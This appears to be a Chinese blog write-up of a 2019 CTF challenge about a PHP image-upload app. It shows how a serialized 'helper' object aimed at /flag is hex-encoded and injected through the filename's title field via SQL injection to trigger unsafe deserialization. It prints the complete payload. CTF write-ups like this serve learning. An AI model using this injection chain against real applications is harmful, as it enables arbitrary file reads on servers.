当前位置:网站首页>[安洵杯 2019]不是文件上传
[安洵杯 2019]不是文件上传
2022-07-05 03:33:00 【paidx0】
buu给了源码链接,还是直接去看源码吧
简单看了一下,意思就是上传图片,假如helper中以序列化形式保存图片,那么在show中就可以反序列化
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
//O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
然后因为变量属性是protected 需要在变量名前加上\x00*\x00变量名,private则是要在变量名前加上\x00类名\x00变量名
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
所以下面用\0\0\0去填充,show反序列化前会换回去
//O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
SQL语句
INSERT INTO images (implode(",",$sql_fields)) VALUES(implode(",",$sql_val))
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
title,fileame,ext,path,attr
//title这里是可控的,单引号闭合
//0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.jpg
边栏推荐
- SQL performance optimization skills
- Azkaban actual combat
- Pat grade a 1119 pre- and post order traversals (30 points)
- Jd.com 2: how to prevent oversold in the deduction process of commodity inventory?
- Breaking the information cocoon - my method of actively obtaining information - 3
- [groovy] string (string injection function | asBoolean | execute | minus)
- Delphi read / write JSON format
- this+闭包+作用域 面试题
- 2021 Li Hongyi machine learning (3): what if neural network training fails
- [200 opencv routines] 99 Modified alpha mean filter
猜你喜欢
Ubantu disk expansion (VMware)
The perfect car for successful people: BMW X7! Superior performance, excellent comfort and safety
Basic knowledge of tuples
Sqoop安装
Hot knowledge of multithreading (I): introduction to ThreadLocal and underlying principles
[2022 repair version] community scanning code into group activity code to drain the complete operation source code / connect the contract free payment interface / promote the normal binding of subordi
Idea inheritance relationship
this+闭包+作用域 面试题
Apache Web page security optimization
Watch the online press conference of tdengine community heroes and listen to TD hero talk about the legend of developers
随机推荐
Watch the online press conference of tdengine community heroes and listen to TD hero talk about the legend of developers
Basic authorization command for Curl
[groovy] string (string type variable definition | character type variable definition)
Talk about the SQL server version of DTM sub transaction barrier function
Ask, does this ADB MySQL support sqlserver?
Single box check box
001 chip test
Eight days of learning C language - while loop (embedded) (single chip microcomputer)
2021 Li Hongyi machine learning (2): pytorch
[105] Baidu brain map - Online mind mapping tool
Design and implementation of kindergarten management system
When sqlacodegen generates a model, how to solve the problem that the password contains special characters?
Design and practice of kubernetes cluster and application monitoring scheme
问下,这个ADB mysql支持sqlserver吗?
打破信息茧房-我主动获取信息的方法 -#3
Basic knowledge of tuples
Acwing第 58 场周赛【完结】
Clean up PHP session files
Sqoop安装
How to make OS X read bash_ Profile instead of Profile file - how to make OS X to read bash_ profile not . profile file